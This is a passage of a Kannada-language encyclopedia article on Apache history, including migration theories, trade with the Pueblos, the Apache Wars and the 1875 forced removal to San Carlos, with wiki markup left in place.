ಬೆಂಬತ್ತಿದಂತೆಲ್ಲ ಅವರು ಟೆಂಟನ್ನೂ ತಮ್ಮ ಜೊತೆ ಒಯ್ಯುತ್ತಾರೆ. '' ''ತಮ್ಮ ಟೆಂಟ್್ಗಳು, ಕಂಬಗಳು ಮತ್ತು ತಮ್ಮ ಇತರ ಸಾಮಾನುಗಳನ್ನು ಎಳೆಯಲು ಅವರು ನಾಯಿಗಳನ್ನು ಹೊಂದಿರುತ್ತಿದ್ದರು.'' <ref>ಹ್ಯಾಮಂಡ್ ಮತ್ತು ರೇ</ref> ಸ್ಪೇನಿಗರು ಬಯಲು ನಾಯಿಗಳನ್ನು ಅತ್ಯಂತ ಬಿಳಿ, ಅದರ ಮೇಲೆ ಕಪ್ಪು ಕಲೆಗಳು ಮತ್ತು ''ನೀರಿನ ಸ್ಪಾನಿಯಲ್ ಗಳಿಗಿಂತ ಬಹಳ ದೊಡ್ಡದ್ದಲ್ಲ '' ಎಂದು ವರ್ಣಿಸಿದ್ದಾರೆ. ಬಯಲುಗಳ ನಾಯಿಗಳು ಆಧುನಿಕ ಉತ್ತರದ ಕೆನೆಡಾ ಜನರು ಭಾರವನ್ನು ಎಳೆಯಲು ಬಳಸುವುದಕ್ಕಿಂತ ಸ್ವಲ್ಪ ಚಿಕ್ಕದಿದ್ದವು. ಈ ನಾಯಿಗಳು ದೂರ ಪ್ರಯಾಣದಲ್ಲಿ 50 ಫೌಂಡ್ (20 ಕೆಜಿ)ವರೆಗೆ ಪ್ರತಿತಾಸಿಗೆ ಎರಡು ಅಥವಾ ಮೂರು ಮ್ವಲುಗಳ (3ರಿಂದ 5 ಕಿ.ಮೀ. ಪ್ರತಿ ತಾಸಿಗೆ) ವೇಗದಲ್ಲಿ ನಡೆಯುತ್ತವೆ ಎಂದು ಇತ್ತೀಚಿನ ಪ್ರಯೋಗಗಳು ತೋರಿಸಿವೆ.<ref>ಹೆಂಡರ್್ಸನ್</ref> ಡಿಸ್ಮಲ್ ನದಿ ದೃಷ್ಟಿಯಿಂದ ನೋಡಿದಾಗ ಅಪಾಚೆಯ ಜನರಿಗೂ ಬಯಲು ವಲಸೆ ಸಿದ್ಧಾಂತಕ್ಕೂ ಸಂಬಂಧ ಏರ್ಪಟ್ಟಿದೆ. ನೆಬ್ರಾಸ್ಕ, ಪೂರ್ವ ಕೊಲರಾಡೋ ಮತ್ತು ಪಶ್ಚಿಮದ ಕನ್ಸಾಸ್್ಗಳಲ್ಲಿ 1675-1725ರಲ್ಲಿ ನಡೆಸಿದ ಉತ್ಖನನದಿಂದ ಮಡಿಕೆಗಳು ಮತ್ತು ಮನೆಗಳ ಪಳೆಯುಳಿಕೆಗಳು ಪತ್ತೆಯಾಗಿದ್ದು ಅವುಗಳಿಂದ ಪುರಾತತ್ವ ಸಂಸ್ಕೃತಿ ಕಂಡುಬಂದಿದೆ. ಹೀಗಿದ್ದರೂ ಮೊದಲ ಸಾಕ್ಷ್ಯರೂಪದ ಮೂಲಗಳು ಅಪಾಚೆಗಳನ್ನು ಉಲ್ಲೇಖಿಸಿವೆ ಮತ್ತು ಇತಿಹಾಸಕಾರರು 16ನೆ ಶತಮಾನದಲ್ಲಿ ಉತ್ತರದಿಂದ ಪ್ರವೇಶ ಪಡೆದಂತೆ ಕೆಲವು ಮಾರ್ಗಗಳನ್ನು ಸೂಚಿಸುತ್ತಾರೆ. ಮೊದಲಬಾರಿಗೆ ಅವರು ಸಂಪರ್ಕಕ್ಕೆ ಬಂದುದಕ್ಕಿಂತ ಬಹಳ ಹಿಂದೆಯೇ ಅವರು ಬಯಲುಗಳಲ್ಲಿ ವಾಸಿಸುತ್ತಿದ್ದರು ಎಂಬುದನ್ನು ಪುರಾತತ್ವ ದಾಖಲೆಗಳು ಸೂಚಿಸುತ್ತವೆ. ಇದರೊಂದಿಗೆ ಸ್ಪರ್ಧಿಸುವ ಇನ್ನೊಂದು ಸಿದ್ಧಾಂತವೆಂದರೆ ಶಿಲೆಗಳ ಪರ್ವತದಿಂದ ದಕ್ಷಿಣಕ್ಕೆ ವಲಸೆ ಬಂದುದು ಹಾಗೂ ಬಹುಶಃ 14ನೆ ಶತಮಾನ ಅಥವಾ ಅದಕ್ಕಿಂತಲೂ ಪೂರ್ವದಲ್ಲಿಯೇ ಅಮೆರಿಕದ ನೈಋತ್ಯ ಭಾಗವನ್ನು ತಲುಪಿದ್ದು. ಈ ಅಪಾಚೆಗಳ ಪೂರ್ವಜರನ್ನು ಸೆರ್ರೋ ರೋಜೋ ಕಾಂಪ್ಲೆಕ್ಸ್್ಗೆ ಸಂಬಂಧಿಸಿ ಉಲ್ಲೇಖಿಸುತ್ತಿರುವಾಗಲೆ ಪುರಾತತ್ವ ಭೌತಿಕ ಸಂಸ್ಕೃತಿಯ ಸಂಗ್ರಹವನ್ನು ಈ ಪರ್ವತ ವಲಯದಲ್ಲಿ ಗುರುತಿಸಲಾಗಿದೆ.<ref>ಸೇಮೌರ್ 2004, 2009ಬಿ, 2010</ref> ಈ ಸಿದ್ಧಾಂತವು ಬಯಲು ದಾರಿಯಿಂದ ಆಗಮಿಸಿದ್ದು ಎಂಬುದನ್ನು ಅಲ್ಲಗಳೆಯುವುದಿಲ್ಲ. ಬಹುಶಃ ಏಕಕಾಲದಲ್ಲಿ ಇರಬಹುದು. ಆದರೆ ಪರ್ವತಮಯ ನೈಋತ್ಯ ಪ್ರದೇಶದಲ್ಲಿಯೇ ಅತ್ಯಂತ ಹಳೆಯ ಪುರಾವೆಗಳು ದೊರೆಕಿರುವುದು. ಕೇವಲ ಬಯಲು ಅಪಾಚೆ ಮಾತ್ರ ಗಮನಾರ್ಹವೆನ್ನುವಂಥ ಬಯಲು ಸಂಸ್ಕೃತಿಯ ಪ್ರಭಾವ ಹೊಂದಿರುವುದು. ಆದರೆ ಉಳಿದೆಲ್ಲ ಬುಡಕಟ್ಟಿನವರು ವಿಶಿಷ್ಟವಾದ ಅಥಾಬಾಸ್ಕನ್ ಗುಣಲಕ್ಷಣಗಳನ್ನು ಹೊಂದಿದ್ದಾರೆ. ಮೌಂಟೇನ್ ಕ್ವೆರೆಚೋಸ್ ಮತ್ತು ಅಪಾಚೆ ವಾಕ್ವೆರೋಸ್ ಜನರ ವಿವರಣೆಗಳು ಅಸ್ಪಷ್ಟವಾಗಿದ್ದು ಅದನ್ನು ಇನ್ನೂ ಇತರ ಬಯಲು ಬುಡಕಟ್ಟಿನವರಿಗೆ ಅನ್ವಯಿಸಬಹುದು; ಈ ಗುಂಪುಗಳ ವಿಶಿಷ್ಟವಾಗಿರುವ ಗುಣಗಳು ನಿರ್ದಿಷ್ಟವಾಗಿ ಅಪಾಚೆಗಳನ್ನು ಹೋಲುವುದಿಲ್ಲ. ಅಲ್ಲದೆ, ಹ್ಯಾರಿ ಹೋಜೆರ್ ಅವರು ಬಯಲು ಅಪಾಚೆಗಳನ್ನು ಅಪಾಚೆಯ ಭಾಷೆಯೆಂದು ವರ್ಗೀಕರಿಸಿದ್ದು ವಿವಾದಕ್ಕೆ ಗುರಿಯಾಗಿದೆ. ಸ್ಪ್ಯಾನಿಶರು ಈ ಪ್ರದೇಶಕ್ಕೆ ಬಂದಾಗ, ದೀರ್ಘಕಾಲದಿಂದ ನಡೆದು ಬಂದಿದ್ದ ಪ್ಯುಬ್ಲೋ ಜನರ ಮತ್ತು ದಕ್ಷಿಣದ ಅಥಾಬಾಸ್ಕನ್ನರ ನಡುವಿನ ವ್ಯಾಪಾರ ಚೆನ್ನಾಗಿ ಕುದುರಿತ್ತು. ಪ್ಯುಬ್ಲೋಗಳು ಮೆಕ್ಕೆ ಜೋಳ ಮತ್ತು ನೇಯ್ಗೆ ಮಾಡಿದ ಹತ್ತಿಯ ವಸ್ತುಗಳನ್ನು ಕಾಡೆತ್ತಿನ ಮಾಂಸ, ಚರ್ಮಕ್ಕೆ ಮತ್ತು ಕಲ್ಲಿನ ಉಪಕರಣಗಳ ವಸ್ತುಗಳಿಗೆ ವಿನಿಮಯಮಾಡಿಕೊಳ್ಳುತ್ತಿದ್ದರು ಎಂದು ಅವರು ವರದಿ ಮಾಡಿದ್ದಾರೆ. ಬಯಲು ಜನರು ಪ್ಯುಬ್ಲೋಗಳ ಸ್ಥಾಪಿತ ಶಿಬಿರಗಳಲ್ಲಿ ಚಳಿಗಾಲವನ್ನು ಕಳೆಯುತ್ತಿದ್ದುದನ್ನು ಕೊರೋನಾಡೋ ವೀಕ್ಷಿಸಿದ್ದಾನೆ. ನಂತರ ಸ್ಪ್ಯಾನಿಶ್ ಜನರ ಆಧಿಪತ್ಯ ಆ ಪ್ರದೇಶದ ಮೇಲೆ ಸ್ಥಾಪನೆಯಾದಾಗ ಪ್ಯುಬ್ಲೋಗಳು, ಚದುರಿಹೋಗುತ್ತಿದ್ದ ಅಪಾಚೆಗಳು ಮತ್ತು ನವಾಜೋ ಗುಂಪುಗಳ ನಡುವಿನ ವ್ಯಾಪಾರಕ್ಕೆ ವ್ಯತ್ಯಯ ತಲೆದೋರಿತು. ಅಪಾಚೆಗಳು ಬೇಗನೆ ಕುದುರೆಗಳನ್ನು ಪಡೆದುಕೊಂಡರು, ವಲಸಿಗರು ಬಂದು ನೆಲೆಸಿರುವ ಪ್ರದೇಶಗಳ ಮೇಲೆ ಮಿಂಚಿನ ದಾಳಿ ನಡೆಸಲು ತಮ್ಮ ಚಲನೆಯ ಸಾಮರ್ಥ್ಯವನ್ನು ಸುಧಾರಿಸಿಕೊಂಡರು. ಇದರ ಜೊತೆಗೆ, ಪ್ಯುಬ್ಲೋಗಳನ್ನು ಸ್ಪ್ಯಾನಿಶ್ ಧರ್ಮಪ್ರಚಾರಕ ಮಂಡಳಿಯ ಭೂಮಿಗಳಲ್ಲಿ ದುಡಿಯುವುದಕ್ಕೆ ಬಲವಂತಪಡಿಸಲಾಯಿತು. ಮತ್ತು ಧರ್ಮಪ್ರಚಾರಕ ಮಂಡಳಿಯ ಸಾಕುಪ್ರಾಣಿಗಳನ್ನು ಕಾಯುವುದಕ್ಕೆ ಹಚ್ಚಲಾಯಿತು. ಹೀಗಾಗಿ ನೆರೆಯವರೊಂದಿಗೆ ವ್ಯಾಪಾರ ಮಾಡುವುದಕ್ಕೆ ಅವರ ಬಳಿ ಕಡಿಮೆ ವಸ್ತುಗಳು ಉಳಿದವು.<ref>ಕೋರ್ಡೆಲ್, ಪುಟ.151</ref> ಆಧುನಿಕ ಪಶ್ಟಿಮ ಅಪಾಚೆ ಪ್ರದೇಶವು ವಸತಿ ಇಲ್ಲದ ಸ್ಥಳವಾಗಿತ್ತು ಎಂದು 1540ರಲ್ಲಿ ಕೋರೋನಡೋ ಬರೆದಿದ್ದಾನೆ. ಹೀಗಿದ್ದರೂ ಆತ ಅವರನ್ನು ಸುಲಭವಾಗಿ ಕಂಡಿರಲಿಲ್ಲ ಎಂದು ವಾದಿಸಿದವರೂ ಇದ್ದಾರೆ. ಇತರ ಸ್ಪೇನಿಯಾರ್ಡರು ಮೊದಲಿಗೆ ಉಲ್ಲೇಖಿಸಿದ್ದು 1580ರಲ್ಲಿ ರಿಯೋ ಗ್ರಾಂಡೆಯ ಪಶ್ಚಿಮಕ್ಕೆ ಜೀವಿಸುತ್ತಿದ್ದ "ಕ್ವೆರೆಚೋಸ್"ಗಳನ್ನು. ಕೆಲವು ಇತಿಹಾಸಕಾರರು ಇದನ್ನು 16ನೆ ಶತಮಾನದ ಕೊನೆ ಮತ್ತು 17ನೆ ಶತಮಾನದ ಆರಂಭದಲ್ಲಿ ಅಪಾಚೆಗಳು ತಮ್ಮ ಈಗಿನ ನೈಋತ್ಯದ ನೆಲೆಗೆ ಚಲಿಸಿದ್ದಕ್ಕೆ ಅನ್ವಯಿಸುವರು. ಪ್ಯುಬ್ಲೋ ಮಹಿಳೆಯರು ಮತ್ತು ಮಕ್ಕಳು ಮೇಲಿಂದಮೇಲೆ ಸ್ಥಳಾಂತರಗೊಂಡದ್ದನ್ನು ಕೊರೋನಡೋ ವರದಿಮಾಡಿದ್ದಾನೆ. ಇದಕ್ಕೆ ಕಾರಣ ಆತನ ತಂಡವು ಕಾಲಕಾಲಕ್ಕೆ ಇವರ ವಸತಿಯ ಮೇಲೆ ದಾಳಿ ಮಾಡಿದ್ದು. ಕೆಲವು ವಸತಿ ನೆಲೆಗಳನ್ನು ಆತ ರಿಯೋ ಗ್ರಾಂಡೆಯತ್ತ ಚಲಿಸಿದ ನಂತರ ಇತ್ತೀಚೆಗೆ ಮರುನಿರ್ಮಿಸಲಾಗಿದೆ ಎಂದು ಇತರ ಇತಿಹಾಸಕಾರರು ಗುರುತಿಸಿದ್ದಾರೆ ಈತನ ದ್ವೇಷದ ದಾಳಿಯ ಬಗ್ಗೆ ಅರೆ ಅಲೆಮಾರಿಗಳಾದ ದಕ್ಷಿಣದ ಅಥಾಬಾಸ್ಕನ್್ಗಳಿಗೆ ಮುಂದಾಗಿಯೇ ಎಚ್ಚರಿಕೆ ದೊರೆಯುತ್ತಿತ್ತು. ಈ ಕಾರಣದಿಂದ ಅವರು ಇವರ ಕಣ್ಣಿಗೆ ಬೀಳಲಿಲ್ಲ ಮತ್ತು ಅದನ್ನು ವರದಿ ಮಾಡಲಿಲ್ಲ ಎಂಬುದನ್ನು ಇದು ಸೂಚಿಸುತ್ತಿದೆ. ಅದನ್ನೇ ಸ್ಪ್ಯಾನಿಶರು ಬರೆದಿರುವುದು. 15ನೆ ಶತಮಾನ ಮತ್ತು ಬಹುಶಃ ಅದಕ್ಕೂ ಪೂರ್ವದಲ್ಲಿ ಆರಂಭದ ಮೂಲ ಅಪಾಚೆಗಳ ಅಸ್ತಿತ್ವ ನೈಋತ್ಯ ಪರ್ವತ ವಲಯದಲ್ಲಿ ಇದ್ದ ಬಗ್ಗೆ ಪ್ರಬಲವಾದ ಪುರಾವೆಗಳನ್ನು ಪುರಾತತ್ವಶಾಸ್ತ್ರಜ್ಞರು ಕಂಡುಹಿಡಿದಿದ್ದಾರೆ. ಬಯಲು ಪ್ರದೇಶ ಮತ್ತು ನೈಋತ್ಯದ ಬೆಟ್ಟಪ್ರದೇಶ ಎರಡರಲ್ಲೂ ಅವರ ಅಸ್ತಿತ್ವವು ಆರಂಭ ಕಾಲದ ವಲಸೆಯ ಬಹುಮಾರ್ಗಗಳನ್ನು ಸೂಚಿಸುತ್ತದೆ. === ಮೆಕ್ಸಿಕೋ ಮತ್ತು ಅಮೆರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದೊಂದಿಗೆ ಸಂಘರ್ಷ === {{See|Apache Wars}} ಒಟ್ಟಾರೆಯಾಗಿ, ಇತ್ತೀಚೆಗೆ ಆಗಮಿಸಿ ಗ್ರಾಮಗಳಲ್ಲಿ ನೆಲೆಯಾದ ಸ್ಪೇನಿನವರು ಮತ್ತು ಅಪಾಚೆ ಗುಂಪುಗಳ ನಡುವೆ ಕೆಲವು ಶತಮಾನಗಳಿಂದ ಒಂದು ಮೇಲ್ಪಂಕ್ತಿ ರೂಢಿಯಾಗಿರುವಂತೆ ಕಂಡುಬರುತ್ತಿದೆ. ಇಬ್ಬರೂ ಪರಸ್ಪರ ದಾಳಿಯನ್ನೂ ಮಾಡಿದ್ದಾರೆ ವ್ಯಾಪಾರವನ್ನೂ ಮಾಡಿದ್ದಾರೆ. ವಿಶಿಷ್ಟವಾದ ಹಳ್ಳಿಗಳು ಮತ್ತು ವಿಶಿಷ್ಟವಾದ ಗುಂಪುಗಳು ಪರಸ್ಪರ ಹೇಗೆ ಪಾಲ್ಗೊಳ್ಳುತ್ತಾರೆ ಎನ್ನುವುದರ ಮೇಲೆ ಈ ಸಂಬಂಧಗಳು ಅವಲಂಬಿಸಿದ್ದವು ಎಂಬುದನ್ನು ಆ ಅವಧಿಯ ದಾಖಲೆಗಳು ಸೂಚಿಸುವಂತೆ ತೋರುತ್ತವೆ. ಉದಾಹರಣೆಗೆ ಒಂದು ಗುಂಪು ಒಂದು ಹಳ್ಳಿಯೊಂದಿಗೆ ಸ್ನೇಹಿತರಾಗಿದ್ದುಕೊಂಡು ಇನ್ನೊಂದು ಗ್ರಾಮದ ಮೇಲೆ ದಾಳಿಮಾಡುತ್ತಿದ್ದವು. ಇಬ್ಬರ ನಡುವೆ ಯುದ್ಧ ಸಂಭವಿಸಿದಾಗ ಸ್ಪೇನಿನವರು ಪಡೆಗಳನ್ನು ಕಳುಹಿಸುತ್ತಿದ್ದರು, ಕದನದ ಬಳಿಕ ಎರಡೂ ಕಡೆಯವರು "ಒಪ್ಪಂದಕ್ಕೆ ಸಹಿ" ಹಾಕುತ್ತಿದ್ದರು. ಮತ್ತು ಎರಡೂ ಕಡೆಯವರು ಮನೆಗೆ ತೆರಳುತ್ತಿದ್ದರು. 1821ರಲ್ಲಿ ಮೆಕ್ಸಿಕೋದ ಸ್ವಾತಂತ್ರ್ಯದ ಜೊತೆಗೇ ಸಾಂಪ್ರದಾಯಿಕ ಮತ್ತು ಕೆಲವೊಮ್ಮೆ ವಿಶ್ವಾಸಘಾತುಕದ ಸಂಬಂಧಗಳು ಗ್ರಾಮಗಳು ಮತ್ತು ಗುಂಪುಗಳ ನಡುವೆ ಮುಂದುವರಿದವು. 1835ರ ವೇಳೆಗೆ ಮೆಕ್ಸಿಕೋ ಅಪಾಚೆ ಶಿರಗಳ ಮೇಲೆ ಪ್ರೋತ್ಸಾಹ ಧನದ ಮಳೆಗರೆಯಿತು. (ನೋಡಿ ಪ್ರೋತ್ಸಾಹ ಧನ -scalping) ಆದರೆ ಕೆಲವು ಗುಂಪುಗಳು ಸದ್ದಿಲ್ಲದೆ ನಿರ್ದಿಷ್ಟ ಗ್ರಾಮಗಳ ಜೊತೆ ವ್ಯಾಪಾರ ನಡೆಸುತ್ತಿದ್ದವು. 1837ರಲ್ಲಿ ಪ್ರೋತ್ಸಾಹ ಧನಕ್ಕಾಗಿ ಮಿಂಬ್ರೆನೋ ಅಪಾಚೆಗಳ ನಾಯಕ ಜುಆನ್ ಜೋಸ್ ಕೊಂಪಾಸ್್ನ ಕೊಲೆಯಾದಾಗ ಮಂಗಾಸ್ ಕೋಲೋರಡಾಸ್ ಅಥವಾ ದಸೋಡಾ-ಹೇ (ರೆಡ್ ಸ್ಲೀವ್ಸ್) ಪ್ರಧಾನ ಮುಖ್ಯಸ್ಥನಾಗುತ್ತಾನೆ ಮತ್ತು ಯುದ್ಧದ ನಾಯಕನಾಗುತ್ತಾನೆ ಮತ್ತು ಮೆಕ್ಸಿಕೋದವರ ವಿರುದ್ಧ ಪ್ರತೀಕಾರದ ದಾಳಿಯ ಸರಣಿಯನ್ನು ನಡೆಸುತ್ತಾನೆ. [[File:Geronimo (Goyathlay), a Chiricahua Apache, full-length, kneeling with rifle, 1887 - NARA - 530880.jpg|thumb|left|200px|ಜೆರೊನಿಮೊ]] ಅಮೆರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು ಮೆಕ್ಸಿಕೋದ ವಿರುದ್ಧ ಯುದ್ಧ ನಡೆಸಿದಾಗ ಅನೇಕ ಅಪಾಚೆ ಗುಂಪುಗಳು ಯು.ಎಸ್. ಸೈನಿಕರಿಗೆ ತಮ್ಮ ಭೂಮಿಯಲ್ಲಿ ಸುರಕ್ಷಿತ ದಾರಿಯನ್ನು ನೀಡುವ ಭರವಸೆ ನೀಡಿದವು. ಮೆಕ್ಸಿಕೋದ ಮೊದಲಿನ ಪ್ರದೇಶಗಳ ಮೇಲೆ 1846ರಲ್ಲಿ ಅಮೆರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು ತನ್ನ ಹಕ್ಕನ್ನು ಘೋಷಿಸಿದಾಗ ಮಂಗಾಸ್ ಕೋಲೋರಡಾಸ್ ಒಂದು ಶಾಂತಿ ಒಪ್ಪಂದಕ್ಕೆ ಸಹಿ ಹಾಕಿದನು. ಮೆಕ್ಸಿಕೋದ ಪ್ರದೇಶಗಳ ಮೇಲಿನ ವಿಜಯಿಗಳು ಅವರು ಎಂಬುದನ್ನು ಗೌರವಿಸಿದನು. ಅಪಾಚೆಗಳು ಮತ್ತು ಈಗಿನ ಅಮೆರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ನಾಗರಿಕರ ನಡುವೆ ಒಂದು ಆತಂಕಕಾರಿ ಶಾಂತಿ ಒಪ್ಪಂದ 1850ರ ವರೆಗೆ ಉಳಿದುಬಂತು. ಸಂತಾ ರಿಟಾ ಪರ್ವತಕ್ಕೆ ಚಿನ್ನದ ಗಣಿಗಾರಿಕೆಯವರ ಪ್ರವಾಹ ಹರಿದು ಬಂದಾಗ ಸಂಘರ್ಷಕ್ಕೆ ದಾರಿಯಾಯಿತು. ಈ ಅವಧಿಯನ್ನು ಕೆಲವೊಮ್ಮೆ ಅಪಾಚೆ ಯುದ್ಧಗಳು ಎಂದು ಕರೆಯುತ್ತಾರೆ. ಅಮೆರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಮೀಸಲು ಪರಿಕಲ್ಪನೆಯನ್ನು ಸ್ಪೇನಿನವರು, ಮೆಕ್ಸಿಕೋದವರು ಮತ್ತು ಇತರ ಅಪಾಚೆ ನೆರೆಯನ್ನು ಹೊಂದಿದವರು ಮೊದಲು ಬಳಸಿರಲಿಲ್ಲ. ಈ ಕಾಯ್ದಿರಿಸುವಿಕೆಯನ್ನು ಮೇಲಿಂದಮೇಲೆ ಕೆಟ್ಟದ್ದಾಗಿ ನಿರ್ವಹಿಸಲಾಗಿತ್ತು. ರಕ್ತಸಂಬಂಧದ ಬಾಂಧವ್ಯ ಇಲ್ಲದ ಗುಂಪುಗಳನ್ನೂ ಒಟ್ಟಿಗೆ ವಾಸಿಸಲು ಬಲವಂತಪಡಿಸಲಾಗಿತ್ತು. ಜನರನ್ನು ಒಳಗೆ ಅಥವಾ ಹೊರಗೆ ಇರಿಸಲು ಬೇಲಿಗಳು ಇರಲಿಲ್ಲ. ಅಲ್ಪ ಕಾಲಾವಧಿಗೆ ಮೀಸಲು ನೆಲೆಯನ್ನು ಬಿಟ್ಟು ಬೇರೆಡೆ ತೆರಳುವುದಕ್ಕೆ ಗುಂಪುಗಳಿಗೆ ಅನುಮತಿಯನ್ನು ನೀಡುವುದು ಅಸಾಮಾನ್ಯವೇನೂ ಆಗಿರಲಿಲ್ಲ. ಇತರ ಸಮಯದಲ್ಲಿ ಒಂದು ಗುಂಪು ಅನುಮತಿ ಇಲ್ಲದೆ ತೆರಳಿ ದಾಳಿ ಮಾಡುವುದಕ್ಕೆ, ಕೊಳ್ಳೆ ಹೊಡೆಯಲು ತಮ್ಮ ಭೂಮಿಗೆ ಬರುವುದಕ್ಕೆ ಅಥವಾ ಸರಳವಾಗಿ ತಪ್ಪಿಸಿಕೊಂಡು ಹೋಗುವುದಕ್ಕೆ ಅವಕಾಶವಿತ್ತು. ಮಿಲಿಟರಿಯು ಸಾಮಾನ್ಯವಾಗಿ ಹತ್ತಿರದಲ್ಲೇ ಕೋಟೆಗಳನ್ನು ಹೊಂದಿರುತ್ತಿದ್ದವು. ಮೀಸಲು ಪ್ರದೇಶಗಳಲ್ಲಿ ಇರುವ ವಿವಿಧ ಗುಂಪುಗಳನ್ನು ನೋಡಿಕೊಂಡು ಬಿಟ್ಟು ಹೋದವರನ್ನು ಮರಳಿ ಕರೆತರುವ ಕೆಲಸ ಇದರದಾಗಿತ್ತು. ಅಮೆರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಮೀಸಲು ನೀತಿಗಳು ಇನ್ನೊಂದು ಕಾಲು ಶತಮಾನದ ಕಾಲ ವಿವಿಧ ಅಪಾಚೆ ಗುಂಪುಗಳು (ಯುದ್ಧದಲ್ಲಿ) ಮೀಸಲು ನೆಲೆಗಳನ್ನು ಬಿಡುವಂತೆ ಮಾಡಿದವು. ಅಪಾಚೆ ಜನರು ಮತ್ತು ಯುರೋ-ಅಮೆರಿಕನ್ ನಡುವಿನ ಯುದ್ಧ ಸರಿಯಾಗಿ ಗ್ರಹಿಸದೆ ಅಪಾರ್ಥವನ್ನು ಕಲ್ಪಿಸಿದ ಅಪಾಚಿಯನ್ ಸಂಸ್ಕೃತಿಯ ಕೆಲವು ನೆಲೆಯ ಮೇಲೆ ಏಕರೂಪದಲ್ಲಿ ಬೆಳಕು ಚೆಲ್ಲಿದವು ಎಂದು ಮಾನವ ಶಾಸ್ತ್ರಜ್ಞ ಕೀಥ್ ಬಸ್ಸೋ ದಾಖಲಿಸಿದ್ದಾನೆ. <blockquote>"ಉತ್ತರ ಅಮೆರಿಕದ ಮೂಲ ನೆಲೆಯಲ್ಲಿ ವಾಸಿಸುತ್ತಿದ್ದ ಮತ್ತು ಚೆನ್ನಾಗಿ ಅಭಿವೃದ್ಧಿ ಹೊಂದಿದ ನೂರಾರು ಜನರಲ್ಲಿ ಕೆಲವರು ಸತತವಾಗಿ ಅರಿಝೋನಾ ಮತ್ತು ನ್ಯೂ ಮೆಕ್ಸಿಕೋದ ಅಪಾಚಿಗಳು ಎಂದು ತಪ್ಪಾಗಿ ಪ್ರತಿನಿಧಿಸಿದರು. ಕಾದಂಬರಿಕಾರರಿಂದ ವೈಭವೀಕರಿಸಲಾದ, ಇತಿಹಾಸಕಾರರಿಂದ ಭಾವೋದ್ರೇಕಗೊಳಿಸಲಾದ ಮತ್ತು ವಾಣಿಜ್ಯಕ ಸಿನಿಮಾ ತಯಾರಕರಿಂದ ವಿಶ್ವಾಸಾರ್ಹತೆಯ ಆಚೆಗೆ ಅಪಾರ್ಥಬರುವಂತೆ ಮಾಡಿದ, ಅಪಾಚೆಗಳ ಜನಪ್ರಿಯ ವ್ಯಕ್ತಿತ್ವವೆಂದರೆ- ಒಬ್ಬ ಮೃಗೀಯ, ಸ್ವೇಚ್ಛಾಚಾರದ ಸಾವು ಮತ್ತು ವಿನಾಶದ ಮೇಲೆ ಬಾಗಿದ ಭಯ ಹುಟ್ಟಿಸುವ ಅರೆ ಮಾನವ- ಹೆಚ್ಚೂಕಡಿಮೆ ಇದೊಂದು ಸಂಪೂರ್ಣ ಬೇಜವಾಬ್ದಾರಿಯ ವ್ಯಕ್ತಿಚಿತ್ರಣದ ಉತ್ಪನ್ನ ಮತ್ತು ವೈಭವೀಕರಣ. ನಿಜಕ್ಕೂ, ಅಪಾಚೆ ಮೂಲನಿವಾಸಿ ಅಮೆರಿಕದವನು ಒಂದು ಅಮೆರಿಕದ ದಂತಕಥೆಯಾಗಿ, ಕಾಲ್ಪನಿಕ ಮತ್ತು ಮೋಸಗೊಳಿಸುವ ಇಂಡಿಯನ್ನೇತರ ಪೌರರಾಗಿ ಬದಲಾಗಿರುವ ಬಗ್ಗೆ ಸ್ವಲ್ಪ ಅನುಮಾನಕ್ಕೆ ಅವಕಾಶವಿದೆ. ಜನಾಂಗಿಕ ಮತ್ತು ಸಾಂಸ್ಕೃತಿಕ ಪಡಿಯಚ್ಚುಗಳನ್ನು ಗುರುತಿಸುವಲ್ಲಿಯ ಅಸಾಮರ್ಥ್ಯದ ಮಹಾ ವಿಶ್ವಾಸಘಾತುಕತನ ತೋರಿಸಿರುವುದಕ್ಕೆ ಅವುಗಳನ್ನು ಕಾಯ್ದುಕೊಳ್ಳುವ ಮತ್ತು ಅವನ್ನು ಹಿಗ್ಗಿಸುವ ಇಚ್ಛೆಯು ಮಾತ್ರ ಸಾಟಿಯಾಗಬಲ್ಲುದು"<ref>ಬಾಸ್ಸೊ, ಪುಟ. 462</ref></blockquote> === ಬಲವಂತದ ತೆರವು === 1875ರಲ್ಲಿ ಅಂದಾಜು 1,500 ಯವಾಪೈ ಮತ್ತು ಡಿಲ್ಜೆ ಅಪಾಚಿಗಳನ್ನು ರಿಯೋ ವೆರ್ಡೆ ಇಂಡಿಯನ್ ರಿಸರ್ವ್್ನಿಂದ ಅಮೆರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಸರ್ಕಾರ ಭರವಸೆ ನೀಡಿದ ಅನೇಕ ಸಾವಿರ ಎಕರೆ ಕರಾರು ಭೂಮಿಯಿಂದ ಎತ್ತಂಗಡಿ ಮಾಡಲಾಯಿತು. ಇಂಡಿಯನ್ ಕಮಿಶನರ್ ಎಲ್.ಇ.ಡೌಡ್ಲಿ ಮತ್ತು ಯು.ಎಸ್. ಸೇನಾ ಪಡೆಗಳು ಯುವಕರು ಮಕ್ಕಳೆನ್ನದೆ ಆ ಜನರನ್ನು ದೂರದ ಸಾನ್್ ಕಾರ್ಲೋಸ್್{{convert|180|mi|km}}ಗೆ ಇಂಡಿಯನ್ ಏಜೆನ್ಸಿ ತಲುಪಲು ಆ ಚಳಿಯಲ್ಲಿ- ನೆರೆ ತುಂಬಿದ ನದಿಗಳಲ್ಲಿ, ಪರ್ವತ ಕಣಿವೆಗಳಲ್ಲಿ ಮತ್ತು ಕಿರಿದಾದ ಆಳದ ಕಮರಿಯಲ್ಲಿ ಸಾಗುವಂತೆ ಮಾಡಿದರು. ಈ ಚಾರಣದಲ್ಲಿ ಅನೇಕ ನೂರು ಜನರು ಪ್ರಾಣ ಕಳೆದುಕೊಂಡರು. ಅಲ್ಲಿ ಅವರು 25 ವರ್ಷಗಳ ವರೆಗೆ ನಿರ್ಬಂಧಿತರಾಗಿ ಉಳಿದರು. ಈ ನಡುವೆ ಬಂದು ನೆಲೆಯಾದ ಬಿಳಿಯ ವಲಸೆಗಾರರು ಅವರ ಭೂಮಿಯನ್ನು ಸ್ವಾಧೀನಪಡಿಸಿಕೊಂಡರು. ತಮ್ಮ ಬಿಡುಗಡೆಯ ಬಳಿಕ ಕೇವಲ ಸುಮಾರು 200 ಜನರಷ್ಟೇ 